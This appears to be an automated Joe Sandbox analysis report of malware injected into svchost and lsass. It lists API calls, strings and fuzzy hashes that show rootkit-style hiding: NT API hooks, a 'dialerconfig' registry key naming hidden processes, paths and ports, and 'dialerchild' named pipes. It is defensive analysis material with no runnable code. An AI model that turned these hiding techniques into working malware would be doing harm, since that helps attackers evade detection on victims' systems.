Instruction Fuzzy Hash: 41E09231200B41E6FA049B51F4CD6ED23219B84740F5F5123975906253CE38C8CE8344

Function 00000202C0AE1D60 Relevance: 5.1, APIs: 4, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1D9B
HeapAlloc.KERNEL32 ref: 00000202C0AE1DAA
GetProcessHeap.KERNEL32 ref: 00000202C0AE1E1E
HeapFree.KERNEL32 ref: 00000202C0AE1E2C

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction ID: 28ae63f6c094da995c863b700c8ad089c3ad79b3e7b2f39ac27c3d30d7f83160
Opcode Fuzzy Hash: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction Fuzzy Hash: F2217133604BD0C1FB118F5AA44C26EB3A0FB88B94F0A4113EF9C47B16EB78C55A8700

Analysis Process: svchost.exePID: 920, Parent PID: 7912COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	68
Total number of Limit Nodes:	2

Executed Functions

Function 000002A661303458 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002A66130347A
PathFindFileNameW.SHLWAPI ref: 000002A661303489

Part of subcall function 000002A661303930: StrCmpNIW.SHLWAPI ref: 000002A661303948

Part of subcall function 000002A661303878: GetModuleHandleW.KERNEL32 ref: 000002A661303886
Part of subcall function 000002A661303878: GetCurrentProcess.KERNEL32 ref: 000002A6613038B4
Part of subcall function 000002A661303878: VirtualProtectEx.KERNEL32 ref: 000002A6613038D6
Part of subcall function 000002A661303878: GetCurrentProcess.KERNEL32 ref: 000002A6613038F4
Part of subcall function 000002A661303878: VirtualProtectEx.KERNEL32 ref: 000002A661303915

CreateThread.KERNEL32 ref: 000002A6613034D7

Part of subcall function 000002A661301EB4: GetCurrentThread.KERNEL32 ref: 000002A661301EBF

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction ID: d58425ed8a59d5428c8ef40dad0f60b78ff9bcff066837ae15f2104d75efcea5
Opcode Fuzzy Hash: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction Fuzzy Hash: 18115B74F106018BFB22D721A84FB6A32DCA756F46F4D00259A0BBB594EF3DC04C8282

Function 000002A661301C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002A661301650: GetProcessHeap.KERNEL32 ref: 000002A66130165B
Part of subcall function 000002A661301650: HeapAlloc.KERNEL32 ref: 000002A66130166A
Part of subcall function 000002A661301650: RegOpenKeyExW.ADVAPI32 ref: 000002A6613016DA
Part of subcall function 000002A661301650: RegOpenKeyExW.ADVAPI32 ref: 000002A661301707
Part of subcall function 000002A661301650: RegCloseKey.ADVAPI32 ref: 000002A661301721
Part of subcall function 000002A661301650: RegOpenKeyExW.ADVAPI32 ref: 000002A661301741
Part of subcall function 000002A661301650: RegCloseKey.ADVAPI32 ref: 000002A66130175C
Part of subcall function 000002A661301650: RegOpenKeyExW.ADVAPI32 ref: 000002A66130177C
Part of subcall function 000002A661301650: RegCloseKey.ADVAPI32 ref: 000002A661301797
Part of subcall function 000002A661301650: RegOpenKeyExW.ADVAPI32 ref: 000002A6613017B7
Part of subcall function 000002A661301650: RegCloseKey.ADVAPI32 ref: 000002A6613017D2
Part of subcall function 000002A661301650: RegOpenKeyExW.ADVAPI32 ref: 000002A6613017F2

Sleep.KERNEL32 ref: 000002A661301C43
SleepEx.KERNEL32 ref: 000002A661301C49

Part of subcall function 000002A661301650: RegCloseKey.ADVAPI32 ref: 000002A66130180D
Part of subcall function 000002A661301650: RegOpenKeyExW.ADVAPI32 ref: 000002A66130182D
Part of subcall function 000002A661301650: RegCloseKey.ADVAPI32 ref: 000002A661301848
Part of subcall function 000002A661301650: RegOpenKeyExW.ADVAPI32 ref: 000002A661301868
Part of subcall function 000002A661301650: RegCloseKey.ADVAPI32 ref: 000002A661301883
Part of subcall function 000002A661301650: RegOpenKeyExW.ADVAPI32 ref: 000002A6613018A3
Part of subcall function 000002A661301650: RegCloseKey.ADVAPI32 ref: 000002A6613018BE
Part of subcall function 000002A661301650: RegCloseKey.ADVAPI32 ref: 000002A6613018C8

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: 00c3e32f535f1a666752326b103c4686352be0cf57cb2c7f26f20961d7c6380f
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: FB31F075B0060193FB51AF26E94D36A62FDAB46FDAF0C4021DE0BA76D5DF1CC45882D2

Function 000002A661303930 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000002A661303948

Strings

dialer, xrefs: 000002A661303941

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 949ed436222ef7ba0644b0ca804308ca47b9c81469ce6be8bad6d29646da7b56
Instruction ID: 7fe97d79589782e628872070bc3fa000d6e2a9929ce407a7fd10b9c94f4c1939
Opcode Fuzzy Hash: 949ed436222ef7ba0644b0ca804308ca47b9c81469ce6be8bad6d29646da7b56
Instruction Fuzzy Hash: B5D05E20B1124A8BEB14DFA1888E76033A8AB06B15F4C80208A0213114DF1C898DC711

Function 000002A6612D2908 Relevance: 1.7, APIs: 1, Instructions: 186
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002A6612D2A31

Memory Dump Source

Source File: 00000019.00000002.2938691158.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a6612d0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction ID: bfb7080cd5f30ec63c7e1aa02e3938f4a0833d0643ea63299f78d611e02fc58c
Opcode Fuzzy Hash: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction Fuzzy Hash: FD61FDA2F0165187EA68CF29D44876CB39DFF06FA4F588021DA1907785EF3CE896C706

Non-executed Functions

Function 000002A661302CDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002A661302D80
lstrlenW.KERNEL32 ref: 000002A661302FBA

Part of subcall function 000002A661301A14: OpenProcess.KERNEL32 ref: 000002A661301A3A
Part of subcall function 000002A661301A14: K32GetModuleFileNameExW.KERNEL32 ref: 000002A661301A58
Part of subcall function 000002A661301A14: PathFindFileNameW.SHLWAPI ref: 000002A661301A67
Part of subcall function 000002A661301A14: lstrlenW.KERNEL32 ref: 000002A661301A73
Part of subcall function 000002A661301A14: StrCpyW.SHLWAPI ref: 000002A661301A86
Part of subcall function 000002A661301A14: CloseHandle.KERNEL32 ref: 000002A661301A94

GetProcAddress.KERNEL32 ref: 000002A661302D95

Part of subcall function 000002A661301554: StrCmpIW.SHLWAPI ref: 000002A661301585

Part of subcall function 000002A661303930: StrCmpNIW.SHLWAPI ref: 000002A661303948

StrCmpNIW.SHLWAPI ref: 000002A661302DD8
lstrlenW.KERNEL32 ref: 000002A661302F00

Strings

\Device\Nsi, xrefs: 000002A661302DCB
ntdll.dll, xrefs: 000002A661302D79
NtQueryObject, xrefs: 000002A661302D8B

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction ID: 23cd8f04e71538b5eb9847158c47a201b9a4386d364ecdc48b455eb11579518a
Opcode Fuzzy Hash: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction Fuzzy Hash: B2B18D22B11A5087EB55CF25D54C7A963E8FB46F86F58501AEE0B63B94DF39CC88C381

Function 000002A661307E70 Relevance: 10.6, APIs: 7, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002A661307E8C
RtlCaptureContext.NTDLL ref: 000002A661307EB9
RtlLookupFunctionEntry.NTDLL ref: 000002A661307ED3
RtlVirtualUnwind.NTDLL ref: 000002A661307F14
IsDebuggerPresent.KERNEL32 ref: 000002A661307F68
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A661307F89
UnhandledExceptionFilter.KERNEL32 ref: 000002A661307F94

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction ID: a5cba665a44c7c07cf1dccde805d8f3e79610c362df98632861a869d0ed45d4e
Opcode Fuzzy Hash: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction Fuzzy Hash: 1F315D72705B8096EB60DF60E8483ED73A8F785B54F48442ADA8E57B98EF38C54CC710

Function 000002A66130B50C Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002A66130B585
RtlLookupFunctionEntry.NTDLL ref: 000002A66130B59D
RtlVirtualUnwind.NTDLL ref: 000002A66130B5D8
IsDebuggerPresent.KERNEL32 ref: 000002A66130B611
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A66130B61B
UnhandledExceptionFilter.KERNEL32 ref: 000002A66130B626

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction ID: d8417c2ec523aaff61b500a3c85146917342d7b6945cdc37d9ed16cda4c36ab7
Opcode Fuzzy Hash: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction Fuzzy Hash: 29319136704F8086DB20CF25E84939E73A8F78ABA4F580116EA9E57B58DF3CC549CB40

Function 000002A66130FEF8 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002A66130FF67
WriteFile.KERNEL32 ref: 000002A66131021E
WriteFile.KERNEL32 ref: 000002A661310270
GetLastError.KERNEL32 ref: 000002A661310372
GetLastError.KERNEL32 ref: 000002A6613103D2

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction ID: 4b748053efe2aa4dd715676edb3458f9a06d083db582eb8aa2e1b11a5c0e5f8f
Opcode Fuzzy Hash: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction Fuzzy Hash: D0E1E032B04A808BE700CF64D48D2DE7BB5F346B98F584516DE4AA7B99DF38C42AC741

Function 000002A661301650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002A66130165B
HeapAlloc.KERNEL32 ref: 000002A66130166A

Part of subcall function 000002A661301274: GetProcessHeap.KERNEL32 ref: 000002A66130127A
Part of subcall function 000002A661301274: HeapAlloc.KERNEL32 ref: 000002A661301289
Part of subcall function 000002A661301274: GetProcessHeap.KERNEL32 ref: 000002A6613012A3
Part of subcall function 000002A661301274: HeapAlloc.KERNEL32 ref: 000002A6613012B4

RegOpenKeyExW.ADVAPI32 ref: 000002A6613016DA
RegOpenKeyExW.ADVAPI32 ref: 000002A661301707
RegCloseKey.ADVAPI32 ref: 000002A661301721
RegOpenKeyExW.ADVAPI32 ref: 000002A661301741
RegCloseKey.ADVAPI32 ref: 000002A66130175C
RegOpenKeyExW.ADVAPI32 ref: 000002A66130177C
RegCloseKey.ADVAPI32 ref: 000002A661301797
RegOpenKeyExW.ADVAPI32 ref: 000002A6613017B7
RegCloseKey.ADVAPI32 ref: 000002A6613017D2
RegOpenKeyExW.ADVAPI32 ref: 000002A6613017F2
RegCloseKey.ADVAPI32 ref: 000002A66130180D
RegOpenKeyExW.ADVAPI32 ref: 000002A66130182D
RegCloseKey.ADVAPI32 ref: 000002A661301848
RegOpenKeyExW.ADVAPI32 ref: 000002A661301868
RegCloseKey.ADVAPI32 ref: 000002A661301883
RegOpenKeyExW.ADVAPI32 ref: 000002A6613018A3
RegCloseKey.ADVAPI32 ref: 000002A6613018BE
RegCloseKey.ADVAPI32 ref: 000002A6613018C8

Part of subcall function 000002A6613012C8: RegQueryInfoKeyW.ADVAPI32 ref: 000002A661301326
Part of subcall function 000002A6613012C8: GetProcessHeap.KERNEL32 ref: 000002A661301334
Part of subcall function 000002A6613012C8: HeapAlloc.KERNEL32 ref: 000002A661301345
Part of subcall function 000002A6613012C8: RegEnumValueW.ADVAPI32 ref: 000002A6613013A1
Part of subcall function 000002A6613012C8: GetProcessHeap.KERNEL32 ref: 000002A6613013E9
Part of subcall function 000002A6613012C8: HeapAlloc.KERNEL32 ref: 000002A6613013F7
Part of subcall function 000002A6613012C8: GetProcessHeap.KERNEL32 ref: 000002A66130141B
Part of subcall function 000002A6613012C8: HeapFree.KERNEL32 ref: 000002A661301429
Part of subcall function 000002A6613012C8: lstrlenW.KERNEL32 ref: 000002A661301432
Part of subcall function 000002A6613012C8: GetProcessHeap.KERNEL32 ref: 000002A661301440
Part of subcall function 000002A6613012C8: HeapAlloc.KERNEL32 ref: 000002A66130144E

Strings

tcp_local, xrefs: 000002A661301826
tcp_remote, xrefs: 000002A661301861
SOFTWARE\dialerconfig, xrefs: 000002A6613016BA
paths, xrefs: 000002A6613017B0
service_names, xrefs: 000002A6613017EB
udp, xrefs: 000002A66130189C
startup, xrefs: 000002A6613016FD
process_names, xrefs: 000002A661301775
pid, xrefs: 000002A66130173A

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction ID: 500288821ed10b0b1a9fdc2d981699a51519602a79c13b7e50a4a9ec7bc15a24
Opcode Fuzzy Hash: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction Fuzzy Hash: 2971F576B10A5086EB10DF65E88D69937F8FB8AF9DF081121DA4F67A28DF38C549C341

Function 000002A6613012C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A661301326
GetProcessHeap.KERNEL32 ref: 000002A661301334
HeapAlloc.KERNEL32 ref: 000002A661301345
RegEnumValueW.ADVAPI32 ref: 000002A6613013A1

Part of subcall function 000002A661301554: StrCmpIW.SHLWAPI ref: 000002A661301585

GetProcessHeap.KERNEL32 ref: 000002A6613013E9
HeapAlloc.KERNEL32 ref: 000002A6613013F7
GetProcessHeap.KERNEL32 ref: 000002A66130141B
HeapFree.KERNEL32 ref: 000002A661301429
lstrlenW.KERNEL32 ref: 000002A661301432
GetProcessHeap.KERNEL32 ref: 000002A661301440
HeapAlloc.KERNEL32 ref: 000002A66130144E
StrCpyW.SHLWAPI ref: 000002A661301470
GetProcessHeap.KERNEL32 ref: 000002A661301485
HeapFree.KERNEL32 ref: 000002A661301493

Strings

d, xrefs: 000002A661301365

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction ID: df57f9b9fcc86950589ce138aa7a0377636607729903278f6d4bc0027d70b6ca
Opcode Fuzzy Hash: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction Fuzzy Hash: F9515972B14B4493EB14DB62E54D39AB7B9F78AF94F088124DA8A17B24DF3CC059C741

Function 000002A661301EB4 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002A661301EBF

Part of subcall function 000002A661302174: GetModuleHandleA.KERNEL32 ref: 000002A66130218C
Part of subcall function 000002A661302174: GetProcAddress.KERNEL32 ref: 000002A66130219D

Part of subcall function 000002A661305C10: GetCurrentThreadId.KERNEL32 ref: 000002A661305C4B

Strings

NtEnumerateKey, xrefs: 000002A661301F59
NtQueryDirectoryFileEx, xrefs: 000002A661301F3C
EnumServicesStatusExW, xrefs: 000002A661301FB1, 000002A661301FD2
NtQueryDirectoryFile, xrefs: 000002A661301F1F
ntdll.dll, xrefs: 000002A661301ECD
advapi32.dll, xrefs: 000002A661301F97, 000002A661301FB8
NtDeviceIoControlFile, xrefs: 000002A661301FF6
NtResumeThread, xrefs: 000002A661301F02
NtQuerySystemInformation, xrefs: 000002A661301EE5
NtEnumerateValueKey, xrefs: 000002A661301F76
EnumServiceGroupW, xrefs: 000002A661301F90
sechost.dll, xrefs: 000002A661301FD9

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction ID: e83984e6cd47dee7b92e0930eaa5e7c94e4c88081b7f63715ee1e9d06479c404
Opcode Fuzzy Hash: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction Fuzzy Hash: C231C569B00A4AA3FA09EB65ED5E6D53379A746F46F8C5423D40B335719F3C828DC382

Function 000002A6613023F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002A661302405
GetCurrentProcessId.KERNEL32 ref: 000002A66130240F

Part of subcall function 000002A6613019AC: OpenProcess.KERNEL32 ref: 000002A6613019CA
Part of subcall function 000002A6613019AC: IsWow64Process.KERNEL32 ref: 000002A6613019E0
Part of subcall function 000002A6613019AC: CloseHandle.KERNEL32 ref: 000002A6613019FB

CreateFileW.KERNEL32 ref: 000002A661302468
WriteFile.KERNEL32 ref: 000002A661302490
ReadFile.KERNEL32 ref: 000002A6613024AF
CloseHandle.KERNEL32 ref: 000002A6613024B8

Strings

\\.\pipe\dialerchildproc64, xrefs: 000002A661302438
\\.\pipe\dialerchildproc32, xrefs: 000002A66130243F

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction ID: 132fcfba970474944b12d8b7567ee438171c688ab5bdda6d84782a329f9c713f
Opcode Fuzzy Hash: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction Fuzzy Hash: D8213C36B14A4083FB10CB25E54D35A77A4F38AFA5F584215EA5A13AA8CF3CC14DCB42

Function 000002A66130104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A6613010AB
RegEnumValueW.ADVAPI32 ref: 000002A66130110E
GetProcessHeap.KERNEL32 ref: 000002A661301155
HeapAlloc.KERNEL32 ref: 000002A661301163
GetProcessHeap.KERNEL32 ref: 000002A661301187
HeapFree.KERNEL32 ref: 000002A661301195

Strings

d, xrefs: 000002A6613010CE

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: 5125639fb1c4ff0c7cbb5d2a65fe4d13d97550c52107701ede0c85e5c89c4d54
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction Fuzzy Hash: 94419173614B8097E764CF51E44839AB7B5F389B99F048125DB8A17B54DF3CC168CB40

Function 000002A6613075F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A661307618
__scrt_acquire_startup_lock.LIBCMT ref: 000002A66130766A
_RTC_Initialize.LIBCMT ref: 000002A661307698
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A6613076BE
__scrt_release_startup_lock.LIBCMT ref: 000002A6613076E9

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 7ddb7ff4f809c3db95e285fe4209e61c8d899d6b3a3ce55c37dc94c9d2a4d2eb
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: 8181E021F0064587FA50EB29984E3A926DCAB47F92F0C44159A8B77792DF3CC94EC792

Function 000002A6612D69F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A6612D6A18
__scrt_acquire_startup_lock.LIBCMT ref: 000002A6612D6A6A
_RTC_Initialize.LIBCMT ref: 000002A6612D6A98
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A6612D6ABE
__scrt_release_startup_lock.LIBCMT ref: 000002A6612D6AE9

Memory Dump Source

Source File: 00000019.00000002.2938691158.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a6612d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: fbc1adb9c41e37bcc120c75772abb7ef734b56d2905b7fa5b335fbd78ce71589
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: AC818961F006C18BFA64AB66D48D399769CAF87F80F4C8025EA4943696DF3CC9CD8302

Function 000002A661309804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 000002A661309889
GetLastError.KERNEL32 ref: 000002A661309897
LoadLibraryExW.KERNEL32 ref: 000002A6613098C1
FreeLibrary.KERNEL32 ref: 000002A661309907
GetProcAddress.KERNEL32 ref: 000002A661309913

Strings

api-ms-, xrefs: 000002A6613098A9

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: 9bd910482f45c5d8184c8c718260f1b040edf69a8f8e68ff72a2fb9d4db38604
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: 21318F31B12A5196EE11DF02A80C79967D8BB4AFA1F1E4525ED2F6B390DF3CC54D8342

Function 000002A661311B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleW.KERNEL32 ref: 000002A661311BCD
GetLastError.KERNEL32 ref: 000002A661311BD9
CloseHandle.KERNEL32 ref: 000002A661311BF1
CreateFileW.KERNEL32 ref: 000002A661311C1C
WriteConsoleW.KERNEL32 ref: 000002A661311C3B

Strings

CONOUT$, xrefs: 000002A661311BFD

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
